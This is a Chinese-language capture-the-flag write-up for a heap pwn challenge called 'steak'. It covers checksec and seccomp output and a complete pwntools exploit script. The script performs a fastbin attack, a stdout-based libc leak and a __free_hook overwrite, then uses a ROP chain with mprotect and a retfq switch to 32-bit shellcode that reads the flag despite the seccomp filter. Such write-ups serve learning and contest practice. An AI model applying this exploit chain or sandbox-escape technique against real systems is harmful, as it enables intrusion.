挺长的一题…学到了不少东西
挺综合的一题感觉质量挺好的… 学到了不少东西… 附件
➜ steak checksec steak
[*] '/home/n132/Desktop/steak/steak'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
经过初步逆向发现以下信息
prctl(38, 1LL, 0LL, 0LL, 0LL, 42LL, &v3);
if ( prctl(22, 2LL, &v1) )
{
puts("prctl");
exit(0);
}
堆方面应该是解决了leak的问题就想怎么玩怎么玩
stdout->_flags为0xfbad1800
write_base -> partial write \x00
有了泄露之后就可以利用fast bin atk 控制bss段的array 利用edit函数设置__free_hook为puts 然后扩大战果 泄露stack的值为之后正片做准备
主要是关于seccompt过prctl
➜ steak seccomp-tools dump /home/n132/Desktop/steak/steak
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000000 A = sys_number
0001: 0x15 0x00 0x01 0x000000e7 if (A != exit_group) goto 0003
0002: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0003: 0x35 0x00 0x01 0x000000c8 if (A < tkill) goto 0005
0004: 0x06 0x00 0x00 0x00050001 return ERRNO(1)
0005: 0x15 0x00 0x01 0x00000002 if (A != open) goto 0007
0006: 0x06 0x00 0x00 0x00050001 return ERRNO(1)
0007: 0x15 0x00 0x01 0x00000029 if (A != socket) goto 0009
0008: 0x06 0x00 0x00 0x00050001 return ERRNO(1)
0009: 0x15 0x00 0x01 0x0000002a if (A != connect) goto 0011
0010: 0x06 0x00 0x00 0x00050001 return ERRNO(1)
0011: 0x15 0x00 0x01 0x0000002b if (A != accept) goto 0013
0012: 0x06 0x00 0x00 0x00050001 return ERRNO(1)
0013: 0x15 0x00 0x01 0x0000002c if (A != sendto) goto 0015
0014: 0x06 0x00 0x00 0x00050001 return ERRNO(1)
0015: 0x15 0x00 0x01 0x0000002d if (A != recvfrom) goto 0017
0016: 0x06 0x00 0x00 0x00050001 return ERRNO(1)
0017: 0x15 0x00 0x01 0x0000002e if (A != sendmsg) goto 0019
0018: 0x06 0x00 0x00 0x00050001 return ERRNO(1)
0019: 0x15 0x00 0x01 0x0000002f if (A != recvmsg) goto 0021
0020: 0x06 0x00 0x00 0x00050001 return ERRNO(1)
0021: 0x15 0x00 0x01 0x00000030 if (A != shutdown) goto 0023
0022: 0x06 0x00 0x00 0x00050001 return ERRNO(1)
0023: 0x15 0x00 0x01 0x00000031 if (A != bind) goto 0025
0024: 0x06 0x00 0x00 0x00050001 return ERRNO(1)
0025: 0x15 0x00 0x01 0x00000032 if (A != listen) goto 0027
0026: 0x06 0x00 0x00 0x00050001 return ERRNO(1)
0027: 0x15 0x00 0x01 0x00000035 if (A != socketpair) goto 0029
0028: 0x06 0x00 0x00 0x00050001 return ERRNO(1)
0029: 0x15 0x00 0x01 0x00000038 if (A != clone) goto 0031
0030: 0x06 0x00 0x00 0x00050001 return ERRNO(1)
0031: 0x15 0x00 0x01 0x00000039 if (A != fork) goto 0033
0032: 0x06 0x00 0x00 0x00050001 return ERRNO(1)
0033: 0x15 0x00 0x01 0x0000003a if (A != vfork) goto 0035
0034: 0x06 0x00 0x00 0x00050001 return ERRNO(1)
0035: 0x15 0x00 0x01 0x0000003e if (A != kill) goto 0037
0036: 0x06 0x00 0x00 0x00050001 return ERRNO(1)
0037: 0x15 0x00 0x01 0x00000065 if (A != ptrace) goto 0039
0038: 0x06 0x00 0x00 0x00050001 return ERRNO(1)
0039: 0x15 0x00 0x01 0x0000009d if (A != prctl) goto 0041
0040: 0x06 0x00 0x00 0x00050001 return ERRNO(1)
0041: 0x06 0x00 0x00 0x7fff0000 return ALLOW
所以感觉想办法绕了 队里老师傅感觉可能能用上这篇博客 Tokyo Westerns MMA 2016 - Diary
后来发现真滴有用：D 简而言之就是通过retf转换为x86用x86的系统调用这样许多题目中的限制就鞭长莫及 所以我们要做的事情：
1.第一点的话用systemcall的第0xa调用sys_mprotect set mode =0x7 这样就可rwx
2.retf 后跟shellcode的地址，0x23
3.shellcode open，read，write //这里发现如果直接认为是fd是3的话本地能成，远端读不到…最好使用open后的返回值rax
概率性脚本1/256 可以优化一下到1/16利用copy的功能
from pwn import *
#context.log_level='debug'
def cmd(c):
p.sendlineafter(">\n",str(c))
def add(size,data="\n"):
cmd(1)
p.sendlineafter("size:\n",str(size))
p.sendafter("buf:\n",data)
def free(idx):
cmd(2)
p.sendlineafter("index:\n",str(idx))
def edit(idx,buf,size=0x100):
cmd(3)
p.sendlineafter("index:\n",str(idx))
p.sendlineafter("size:\n",str(size))
p.sendafter("buf:\n",buf)
def C(c):
p.sendlineafter(">",str(c))
def A(size,data="\n"):
C(1)
p.sendlineafter("size:",str(size))
p.sendafter("buf:",data)
def F(idx):
C(2)
p.sendlineafter("index:",str(idx))
def E(idx,buf,size=0x100):
C(3)
p.sendlineafter("index:",str(idx))
p.sendlineafter("size:",str(size))
p.sendafter("buf:",buf)
def cp(a,b,lenth=8):
C(4)
p.readuntil("index:")
p.sendline(str(a))
p.readuntil("index:")
p.sendline(str(b))
p.sendlineafter("length:",str(lenth))
def lea():
C()
def sss(rax,rdi,rsi,rdx):
return p64(pop_rax+libc.address) + p64(rax) + p64(ps)+p64(rsi)+p64(0)+p64(pd)+p64(rdi) + p64(pop_rdx+libc.address) + p64(rdx) + p64(syscall+libc.address)
#p=process("./steak",env = {"LD_PRELOAD": "./libc-2.23.so"})
#p=process("./steak")
p=remote("10.21.13.69",60001)
#p=process("./steak")
binary=ELF("./steak")
libc=binary.libc
add(0x68,'\n')#0
add(0x68,'\n')#1
add(0x68,'\n')#2
add(0x90,'\n')#3
add(0x90,'\n')#4
free(0)
free(1)
free(3)
edit(2,"A"*0x68+p64(0x71)+"\xdd\x25")
edit(0,"A"*0x68+p64(0x71)+'\x50\x31')
add(0x68)#5
add(0x68)#6
add(0x68,"\x00"*3+p64(0)*6+p64(0xfbad1800)+p64(0)*3+"\x00")#7
p.read(0x40)
base=u64(p.read(8))-(0x7ffff7dd2600-0x00007ffff7a0d000)
libc.address=base
log.warning(hex(base))
A(0x68)#8
A(0x68)#9
A(0x68)#10
A(0x68)#11
F(9)
F(10)
E(10,p64(0x6021A0-19))
A(0x68)#11
A(0x68,"\x00"*3+p64(libc.symbols['__free_hook'])+p64(libc.symbols['__malloc_hook'])+p64(libc.symbols['environ'])+p64(0x6021A0))#12
E(0,p64(libc.symbols['puts']))
F(2)
p.readline()
stack=u64(p.readline()[:-1].ljust(8,'\x00'))-(0x7fffffffdf78-0x00007ffffffde000)
log.warning(hex(stack))
ret_addr=0xdeadbeef
E(3,p64(libc.symbols['__free_hook'])+p64(libc.symbols['__malloc_hook'])+p64(0x7fffffffde88-0x00007ffffffde000+stack-8)+"/bin/sh\x00" + p64(0x602240) + p64(0x602800))
pd=0x0000000000400ca3
ps=0x0000000000400ca1#pop rsi; pop r15; ret;
pop_rdx = 0x0000000000001b92#pop rdx;ret;
syscall = 0x00000000000bc375#syscall; ret;
pop_rax = 0x0000000000033544#pop_rax; ret;
pop_r10 = 0x00000000001150a5#pop r10;ret
leave = 0x00000000004008d7#leave;ret
retfq = 0x0000000000107428
ski=0x0000000000400291
rop =p64(0x602800-8)+ sss(0xa,0x602000,0x1000,0x7)+p64(leave)
shellcode=asm(shellcraft.open("./flag"))
leak='''
mov ebx, eax
mov eax,3
mov ecx,0x602900
mov edx,0x72
int 0x80
mov eax,0x4
mov ebx,0x1
mov ecx,0x602900
mov edx,0x30
int 0x80
'''
shellcode+=asm(leak)
shellcode_addr=0x602240
#gdb.attach(p,'b *0x000000000400C3A')
E(5,p64(retfq+libc.address) + p64(shellcode_addr) + p64(0x23))# switch the mode from 64bit to 32bit
E(4,shellcode)
E(2,rop)
p.sendline("6")
p.interactive()
堆栈结合，加上seccomp 挺综合的 还是tcl见识少…学到了不少